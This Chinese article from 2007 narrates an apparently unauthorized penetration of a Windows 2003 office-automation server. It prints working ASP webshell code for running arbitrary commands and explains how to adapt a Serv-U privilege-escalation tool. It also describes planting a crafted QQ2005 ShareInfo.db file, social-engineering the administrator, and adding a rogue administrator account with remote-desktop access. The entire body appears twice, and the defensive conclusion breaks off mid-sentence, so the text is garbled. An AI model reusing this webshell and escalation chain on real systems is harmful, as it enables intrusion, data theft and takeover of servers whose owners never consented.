用QQ文件共享漏洞徹底攻破Windows2003的堅固堡壘
更新時間:2007年01月16日 00:00:00 作者:
服務器上運行的第三方軟件歷來就被攻擊者們看作是入侵目標系統(tǒng)的捷徑。現(xiàn)在,著名的騰訊QQ又被列入了這些捷徑名單,好在QQ并不是服務器必備的軟件之一,所以相信不會造成大范圍的危機。文中遇到特殊情況雖然不多,但大家還是應該遵照“可能的就應該防范”的原則做出相應防御。
一、在Windows2003中得到的webshell
此次滲透的目標是一臺OA辦公系統(tǒng)服務器。其操作系統(tǒng)新近升級到了Windows2003,但OA仍存在asp文件上傳漏洞,所以webshell的取得并沒有任何懸念。
阻礙是在權限提升時遇到的---
登陸webshell后發(fā)現(xiàn)只能查看服務器的D盤,對C盤不能進行任何訪問,webshell的提示是“沒有權限”。這點早在意料之中,因為wenshell只有guests組權限,再加上win2003默認禁止了“Everyone"匿名用戶及“Guest"組權限用戶訪問cmd.exe,還造成了不能通過webshell運行cmd.exe。
唯一值得慶幸的是利用Webshell 可以對D盤(存放有web虛擬目錄)各個子目錄進行讀寫。這里除了web虛擬目錄還有一些數(shù)據(jù)備份文件和一個騰訊QQ安裝目錄Tencent。
二、破解Serv-u的終極防范
Windows2003的種種默認安全配置展示了它強大的一面,近一步提升現(xiàn)有權限似乎已不太可能,直到我試圖從系統(tǒng)入手向這臺服務器發(fā)出FTP鏈接請求并看到Serv-u的banner時才覺得又有了一線希望。
前面提到由于Windows2003對cmd.exe的權限限制,通過webshell方式不能運行cmd.exe,這樣的論斷在2004年6期的防線的《構建Windows2003堡壘主機》一文也曾提到,但實踐表明這并不正確,通過webshell上傳本地非2003系統(tǒng)中未受限制的cmd.exe文件到可執(zhí)行目錄,再通過wscript組件,同樣能夠通過webshell方式在Windows2003下獲得相應權限的cmd.exe。結合nc.exe,甚至還能得到一個guest組權限的命令行下的shell。
為此,我對老兵的站長助手6.0做了一些改進,增加了如下代碼,使其能夠利用Wscript.shell組件運行本地上傳的cmd.exe。
Function CmdShell()
If Request("SP")<>"" Then Session("ShellPath") = Request("SP")
ShellPath=Session("ShellPath")
if ShellPath="" Then ShellPath = "cmd.exe"
if Request("wscript")="yes" then
checked=" checked"
else
checked=""
end if
If Request("cmd")<>"" Then DefCmd = Request("cmd")
SI="<form method=post><input name=cmd Style=width:92% class=cmd value="&DefCmd&"><input type=submit value=運行>"
SI=SI&"<textarea Style=width:100%;height:500; class=cmd>"
If Request.Form("cmd")<>"" Then
if Request.Form("wscript")="yes" then
Set CM=CreateObject(ObT(1,0))
Set DD=CM.exec(ShellPath&" /c "&DefCmd)
aaa=DD.stdout.readall
SI=SI&aaa
else%>
<object runat=server id=ws scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<object runat=server id=ws scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<object runat=server id=fso scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<%szTempFile = server.mappath("cmd.txt")
Call ws.Run (ShellPath&" /c " & DefCmd & " > " & szTempFile, 0, True)
Set fs = CreateObject("Scripting.FileSystemObject")
Set oFilelcx = fs.OpenTextFile (szTempFile, 1, False, 0)
aaa=Server.HTMLEncode(oFilelcx.ReadAll)
oFilelcx.Close
Call fso.DeleteFile(szTempFile, True)
SI=SI&aaa
end if
End If
SI=SI&chr(13)&"</textarea>"
SI=SI&"SHELL路徑:<input name=SP value="&ShellPath&" Style=width:70%> "
SI=SI&"<input type=checkbox name=wscript value=yes"&checked&">WScript.Shell</form>"
Response.Write SI
End Function
利用時只需在shell路徑中指定上傳的cmd.exe路徑,再選中選項Wscript就能運行一些所需權限較低的系統(tǒng)命令,如“net start”或者“netstat -an”,依次運行這兩個命令后Webshell回顯了眾多服務,包括Serv-U FTP Server, 活動端口列表中又出現(xiàn)了43958端口,于是我自然想到了神通廣大的Serv-u ftp Server本地權限提升漏洞??烧嬲玫降膄tp本地權限提升工具在執(zhí)行系統(tǒng)命令時,卻出現(xiàn)了530錯誤提示(如圖1)。看來管理員或者其他人對Serv-u打上了布丁或者做了某些安全配置。為了知道究竟是怎樣的安全配置,上網(wǎng)查了查相關文章,其中有一篇《Serv-u ftp Server 本地權限提升漏洞的終極防范》很受歡迎,被多方轉載,作者是世外高人xiaolu。從錯誤提示看很有可能做了該文所謂的終極防范,即對ServUDaemon.exe中默認的管理員或密碼進行了修改。當然這只是假設,只有將目標服務器上的ServUDaemon.exe下載下來看看具體配置才能確定,但是安裝有Serv-u的C盤禁止訪問,包括Programe files 目錄,權限提升再次受阻。
三、利用QQ2005共享文件漏洞將權限提升到底
再次翻了翻D盤,又見到了那個很少能在服務器中看到的Tencent文件夾。查看whatsnew.txt。
得知QQ的版本是QQ2005 Beta1,幾個于相關文件的創(chuàng)建時間也說明網(wǎng)管最近在服務器上登陸過QQ。難道只能用QQ?經(jīng)過一番思索,終于想到一個可以利用的QQ2005在文件共享功能上的一則漏洞。
該漏洞是隨著QQ2005賀歲版新增功能出現(xiàn)的。可以將其危害描述為:利用該漏洞,攻擊者可以瀏覽,讀取用戶系統(tǒng)中的任意文件(如sam文件、數(shù)據(jù)備份文件、敏感信息文件)。影響系統(tǒng):安裝有QQ2005賀歲版以上的所有Windows系列操作系統(tǒng)。
具體利用方法是:先在本機登陸自己的QQ,調出“QQ菜單”,選擇工具->設置共享,指定C:\或者其他任何有利用價值的分區(qū)為共享文件,完成后關閉QQ,找到安裝目錄下的以QQ帳號命名的文件夾內“ShareInfo.db”文件。如圖3所示。,上傳覆蓋目標服務器上相同文件(如:D:\Tencent\QQ\654321\ShareInfo.db)。這樣,當網(wǎng)管在服務器上登陸QQ時就會向好友開放C盤為共享目錄。。
因為陌生人是不能共享對方文件,所以還需要用社會工程學申請將管理員加為好友(理由當然越可信越好)。如果管理員通過請求,服務器的C盤會以QQ共享文件目錄的名義被共享,原本不能通過WEBSHELL訪問的ServUDaemon.exe文件就能被下載,遇到阻礙的權限提升之路又能繼續(xù)了。
當晚管理員就通過了申請,將我添加為好友。珊瑚蟲QQ上顯示的IP正是目標服務器的IP,于是下載了ServUDaemon.exe文件,用UE打開后查找127.0.0.1,發(fā)現(xiàn)默認配置下的內置帳戶“LocalAdministrator”果然被改成了“LocalAdministruser”。這看起來是一個很“終極”的防御,但提出該方法的xiaolu似乎沒有進行攻防所須的換位思考就將其公布,要知道攻擊者只需知道修改后的配置,并對本地權限提升利用工具進行相應的修改,所謂的終極防御也就被攻破了。方法還是用UE打開脫了殼的serv-u本地權限提升利用工具,將LocalAdministrator改為LocalAdministruser即可。
然后上傳修改后的ftp2.exe,在wscript.shell中執(zhí)行D:\web\ftp2.exe “net user user password /add”后看看結果,已經(jīng)成功添加了一個用戶。再把該用戶加入administrators組和“Remote desktop users”組后登陸了目標服務器的遠程桌面。
―――經(jīng)過重重險阻,終于徹底攻陷了這臺堅固的Windows2003堡壘。
四、簡單啟示
可以看出,和“服務越少越安全”一樣,服務器上運行的“第三方”越少越安全,流行的PcAnywhere、VNC、Serv-U 權限提升和這里提出的利用QQ2005提升權限,都是可以這樣避免
一、在Windows2003中得到的webshell
此次滲透的目標是一臺OA辦公系統(tǒng)服務器。其操作系統(tǒng)新近升級到了Windows2003,但OA仍存在asp文件上傳漏洞,所以webshell的取得并沒有任何懸念。
阻礙是在權限提升時遇到的---
登陸webshell后發(fā)現(xiàn)只能查看服務器的D盤,對C盤不能進行任何訪問,webshell的提示是“沒有權限”。這點早在意料之中,因為wenshell只有guests組權限,再加上win2003默認禁止了“Everyone"匿名用戶及“Guest"組權限用戶訪問cmd.exe,還造成了不能通過webshell運行cmd.exe。
唯一值得慶幸的是利用Webshell 可以對D盤(存放有web虛擬目錄)各個子目錄進行讀寫。這里除了web虛擬目錄還有一些數(shù)據(jù)備份文件和一個騰訊QQ安裝目錄Tencent。
二、破解Serv-u的終極防范
Windows2003的種種默認安全配置展示了它強大的一面,近一步提升現(xiàn)有權限似乎已不太可能,直到我試圖從系統(tǒng)入手向這臺服務器發(fā)出FTP鏈接請求并看到Serv-u的banner時才覺得又有了一線希望。
前面提到由于Windows2003對cmd.exe的權限限制,通過webshell方式不能運行cmd.exe,這樣的論斷在2004年6期的防線的《構建Windows2003堡壘主機》一文也曾提到,但實踐表明這并不正確,通過webshell上傳本地非2003系統(tǒng)中未受限制的cmd.exe文件到可執(zhí)行目錄,再通過wscript組件,同樣能夠通過webshell方式在Windows2003下獲得相應權限的cmd.exe。結合nc.exe,甚至還能得到一個guest組權限的命令行下的shell。
為此,我對老兵的站長助手6.0做了一些改進,增加了如下代碼,使其能夠利用Wscript.shell組件運行本地上傳的cmd.exe。
Function CmdShell()
If Request("SP")<>"" Then Session("ShellPath") = Request("SP")
ShellPath=Session("ShellPath")
if ShellPath="" Then ShellPath = "cmd.exe"
if Request("wscript")="yes" then
checked=" checked"
else
checked=""
end if
If Request("cmd")<>"" Then DefCmd = Request("cmd")
SI="<form method=post><input name=cmd Style=width:92% class=cmd value="&DefCmd&"><input type=submit value=運行>"
SI=SI&"<textarea Style=width:100%;height:500; class=cmd>"
If Request.Form("cmd")<>"" Then
if Request.Form("wscript")="yes" then
Set CM=CreateObject(ObT(1,0))
Set DD=CM.exec(ShellPath&" /c "&DefCmd)
aaa=DD.stdout.readall
SI=SI&aaa
else%>
<object runat=server id=ws scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<object runat=server id=ws scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<object runat=server id=fso scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<%szTempFile = server.mappath("cmd.txt")
Call ws.Run (ShellPath&" /c " & DefCmd & " > " & szTempFile, 0, True)
Set fs = CreateObject("Scripting.FileSystemObject")
Set oFilelcx = fs.OpenTextFile (szTempFile, 1, False, 0)
aaa=Server.HTMLEncode(oFilelcx.ReadAll)
oFilelcx.Close
Call fso.DeleteFile(szTempFile, True)
SI=SI&aaa
end if
End If
SI=SI&chr(13)&"</textarea>"
SI=SI&"SHELL路徑:<input name=SP value="&ShellPath&" Style=width:70%> "
SI=SI&"<input type=checkbox name=wscript value=yes"&checked&">WScript.Shell</form>"
Response.Write SI
End Function
利用時只需在shell路徑中指定上傳的cmd.exe路徑,再選中選項Wscript就能運行一些所需權限較低的系統(tǒng)命令,如“net start”或者“netstat -an”,依次運行這兩個命令后Webshell回顯了眾多服務,包括Serv-U FTP Server, 活動端口列表中又出現(xiàn)了43958端口,于是我自然想到了神通廣大的Serv-u ftp Server本地權限提升漏洞??烧嬲玫降膄tp本地權限提升工具在執(zhí)行系統(tǒng)命令時,卻出現(xiàn)了530錯誤提示(如圖1)。看來管理員或者其他人對Serv-u打上了布丁或者做了某些安全配置。為了知道究竟是怎樣的安全配置,上網(wǎng)查了查相關文章,其中有一篇《Serv-u ftp Server 本地權限提升漏洞的終極防范》很受歡迎,被多方轉載,作者是世外高人xiaolu。從錯誤提示看很有可能做了該文所謂的終極防范,即對ServUDaemon.exe中默認的管理員或密碼進行了修改。當然這只是假設,只有將目標服務器上的ServUDaemon.exe下載下來看看具體配置才能確定,但是安裝有Serv-u的C盤禁止訪問,包括Programe files 目錄,權限提升再次受阻。
三、利用QQ2005共享文件漏洞將權限提升到底
再次翻了翻D盤,又見到了那個很少能在服務器中看到的Tencent文件夾。查看whatsnew.txt。
得知QQ的版本是QQ2005 Beta1,幾個于相關文件的創(chuàng)建時間也說明網(wǎng)管最近在服務器上登陸過QQ。難道只能用QQ?經(jīng)過一番思索,終于想到一個可以利用的QQ2005在文件共享功能上的一則漏洞。
該漏洞是隨著QQ2005賀歲版新增功能出現(xiàn)的。可以將其危害描述為:利用該漏洞,攻擊者可以瀏覽,讀取用戶系統(tǒng)中的任意文件(如sam文件、數(shù)據(jù)備份文件、敏感信息文件)。影響系統(tǒng):安裝有QQ2005賀歲版以上的所有Windows系列操作系統(tǒng)。
具體利用方法是:先在本機登陸自己的QQ,調出“QQ菜單”,選擇工具->設置共享,指定C:\或者其他任何有利用價值的分區(qū)為共享文件,完成后關閉QQ,找到安裝目錄下的以QQ帳號命名的文件夾內“ShareInfo.db”文件。如圖3所示。,上傳覆蓋目標服務器上相同文件(如:D:\Tencent\QQ\654321\ShareInfo.db)。這樣,當網(wǎng)管在服務器上登陸QQ時就會向好友開放C盤為共享目錄。。
因為陌生人是不能共享對方文件,所以還需要用社會工程學申請將管理員加為好友(理由當然越可信越好)。如果管理員通過請求,服務器的C盤會以QQ共享文件目錄的名義被共享,原本不能通過WEBSHELL訪問的ServUDaemon.exe文件就能被下載,遇到阻礙的權限提升之路又能繼續(xù)了。
當晚管理員就通過了申請,將我添加為好友。珊瑚蟲QQ上顯示的IP正是目標服務器的IP,于是下載了ServUDaemon.exe文件,用UE打開后查找127.0.0.1,發(fā)現(xiàn)默認配置下的內置帳戶“LocalAdministrator”果然被改成了“LocalAdministruser”。這看起來是一個很“終極”的防御,但提出該方法的xiaolu似乎沒有進行攻防所須的換位思考就將其公布,要知道攻擊者只需知道修改后的配置,并對本地權限提升利用工具進行相應的修改,所謂的終極防御也就被攻破了。方法還是用UE打開脫了殼的serv-u本地權限提升利用工具,將LocalAdministrator改為LocalAdministruser即可。
然后上傳修改后的ftp2.exe,在wscript.shell中執(zhí)行D:\web\ftp2.exe “net user user password /add”后看看結果,已經(jīng)成功添加了一個用戶。再把該用戶加入administrators組和“Remote desktop users”組后登陸了目標服務器的遠程桌面。
―――經(jīng)過重重險阻,終于徹底攻陷了這臺堅固的Windows2003堡壘。
四、簡單啟示
可以看出,和“服務越少越安全”一樣,服務器上運行的“第三方”越少越安全,流行的PcAnywhere、VNC、Serv-U 權限提升和這里提出的利用QQ2005提升權限,都是可以這樣避免